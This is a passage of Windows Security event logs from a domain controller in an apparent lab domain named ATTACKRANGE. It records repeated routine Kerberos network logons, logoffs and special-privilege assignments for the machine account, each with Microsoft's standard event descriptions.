Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE16C2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249324 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE16C2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64213 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249323 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE16C2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249322 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1661 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249321 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1661 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64212 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249320 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1661 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249319 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE15FB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249318 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE15FB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64211 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249317 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE15FB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249316 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1596 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249315 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1596 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64210 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249314 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1596 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249358 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1887 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249357 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1887 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64217 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249356 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1887 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249355 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1826 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249354 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1826 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64216 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249353 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1826 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249352 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE17C0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249351 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE17C0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64215 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249350 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE17C0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249349 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE175F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249348 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE175F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64214 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249347 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE175F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249370 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1A20 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249369 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1A20 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64221 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249368 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1A20 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249367 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE19BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249366 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE19BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64220 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can 